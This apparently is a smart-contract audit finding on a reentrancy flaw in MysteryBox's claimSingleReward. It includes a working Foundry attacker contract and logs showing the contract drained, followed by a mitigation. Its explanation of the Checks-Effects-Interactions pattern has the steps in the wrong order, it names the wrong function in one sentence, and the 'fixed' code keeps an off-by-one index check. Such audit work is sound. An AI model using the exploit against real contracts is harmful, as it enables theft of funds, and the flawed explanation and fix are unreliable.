Description:
The MysteryBox::claimSingleReward() function is vulnerable to a reentrancy attack because it doesn't follow the Checks-Effects-Interactions (CEI) pattern. It sends funds to the user before deleting the corresponding rewards from the internal state. This vulnerability allows malicious actors who receive at least one Bronze Coin (or higher rewards) to potentially drain the entire contract balance.
CEI Pattern:
The CEI pattern emphasizes performing checks (e.g., verifying enough rewards exist), executing the desired effect (e.g., sending funds), and then updating the state (e.g., deleting claimed rewards). This ensures the state reflects the actual transaction.
Vulnerable Code:
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
Impact:
An attacker can exploit this vulnerability to steal all funds collected by the protocol.
Tools Used:
Manual Review and Foundry Forge.
Proof of Concept:
The provided test demonstrates how an attacker can drain the contract balance. The ReentrancyAttacker contract exploits the vulnerability by calling claimAllRewards() again within the receive() function if the contract balance is high enough. This triggers a reentrancy and allows the attacker to steal funds before they are removed from the internal state.
function testReentrancyClaimSingleReward() public {
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(mysteryBox);
vm.deal(address(mysteryBox), 10 ether);
vm.deal(address(reentrancyAttacker), 10 ether);
uint256 index;
console.log("Initial Attacker Balance", address(reentrancyAttacker).balance / 1e18);
console.log("Initial Contract Balance", address(mysteryBox).balance / 1e18);
vm.startPrank(address(reentrancyAttacker));
for (uint256 i = 0; i <= 6; i++) {
vm.warp(1641070800 + i);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
if (randomValue > 0) {
i = index;
break;
}
}
vm.stopPrank();
vm.prank(user1);
reentrancyAttacker.attack(index);
console.log("Ending Attacker Balance", address(reentrancyAttacker).balance / 1e18);
console.log("Ending Contract Balance Balance", address(mysteryBox).balance / 1e18);
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 boxPrice;
uint256 attackerIndex;
uint256 index;
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
boxPrice = mysteryBox.boxPrice();
}
function attack(uint256 _index) external payable {
index = _index;
mysteryBox.claimSingleReward(_index);
}
receive() external payable {
if (address(mysteryBox).balance >= 1e18) {
mysteryBox.claimSingleReward(index);
}
}
}
The following logs are produced by those additions into your test folder:
forge test --mt testReentrancyClaimSingleReward -vvv
[⠒] Compiling...
[⠢] Compiling 1 files with Solc 0.8.27
[⠰] Solc 0.8.27 finished in 1.09s
Compiler run successful!
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancyClaimSingleReward() (gas: 1088446)
Logs:
Reward Pool Length: 4
Initial Attacker Balance 10
Initial Contract Balance 10
Ending Attacker Balance 19
Ending Contract Balance Balance 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.09ms (1.55ms CPU time)
Ran 1 test suite in 3.48ms (2.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As it is obviously visible in those logs, the reentrancy was successful and within financially viable limits.
Recommended Mitigation:
Follow the CEI pattern to restructure MysteryBox::claimSingleReward().
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
Consider using a ReentrancyGuard from for example openzeppelin. Visit https://docs.openzeppelin.com/contracts/4.x/api/security as a reference.
